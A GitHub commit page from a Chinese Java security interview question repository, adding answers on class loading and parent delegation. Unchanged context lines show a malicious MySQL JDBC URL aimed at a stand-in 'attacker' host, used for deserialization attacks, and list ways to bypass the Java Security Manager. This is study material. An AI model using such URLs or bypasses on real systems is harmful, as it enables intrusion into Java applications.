Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Commit 01db7f5

Browse filesBrowse files
committed
java
1 parent 812df97 commit 01db7f5
Copy full SHA for 01db7f5

File tree

Expand file treeCollapse file tree

2 files changed

+26
-2
lines changed
Open diff view settings
Filter options
Expand file treeCollapse file tree

2 files changed

+26
-2
lines changed
Open diff view settings
Collapse file

‎README.md‎

Copy file name to clipboardExpand all lines: README.md
+2-2Lines changed: 2 additions & 2 deletions
  • Display the source diff
  • Display the rich diff
Original file line numberDiff line numberDiff line change
@@ -20,9 +20,9 @@
2020

2121
## 分类
2222

23-
当前问题总数:87
23+
当前问题总数:90
2424

25-
[Java本身的安全问题 - 19个](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
25+
[Java本身的安全问题 - 22个](https://github.com/4ra1n/JavaSecInterview/tree/master/java)
2626

2727
[Shiro框架相关的安全问题 - 8个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro)
2828

Collapse file

‎java/README.md‎

Copy file name to clipboardExpand all lines: java/README.md
+24Lines changed: 24 additions & 0 deletions
  • Display the source diff
  • Display the rich diff
Original file line numberDiff line numberDiff line change
@@ -263,3 +263,27 @@ jdbc:mysql://attacker/db?queryInterceptors=com.mysql.cj.jdbc.interceptors.Server
263263
通过设置参数`java.security.policy`指定`policy`以提权;反射调用`setSecurityManager`修改`Security Manager`以绕过;自定义`ClassLoader`并设置`ProtectionDomain`里面的权限初始化为所有权限以绕过;由于`native`方法不受`Java Security Manager`管控,所以可以调用这些方法绕过
264264

265265

266+
267+
### 简单谈谈类加载的过程(★★)
268+
269+
首先是由`C/C++`编写的`Bootstrap ClassLoader`用于加载`rt.jar`等核心包
270+
271+
然后是`Extension ClassLoader`加载`JDK``Ext`目录的包,可以加入自定义的包
272+
273+
接着是`Application Classloader`加载`CLASSPATH`中的类,项目中的类都是由该类加载器加载完成的
274+
275+
最后是自定义类加载器,继承`ClassLoader`类重写`findClass`方法,在`Webshell`中有应用
276+
277+
278+
279+
### 简单谈谈双亲委派(★)
280+
281+
当某个类加载器需要加载某个`class`文件时,首先把这个任务委托给他的上级类加载器,递归这个操作,如果上级的类加载器没有加载,自己才会去加载这个类
282+
283+
父类加载器一层一层往下分配任务,如果子类加载器能加载,则加载此类,如果将加载任务分配至系统类加载器也无法加载此类,则抛出异常
284+
285+
286+
287+
### 双亲委派主要作用是什么(★★)
288+
289+
最主要的作用是保证系统类的安全,基础类不会被自定义类加载器破坏和篡改,其次防止重复加载可以提高效率

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.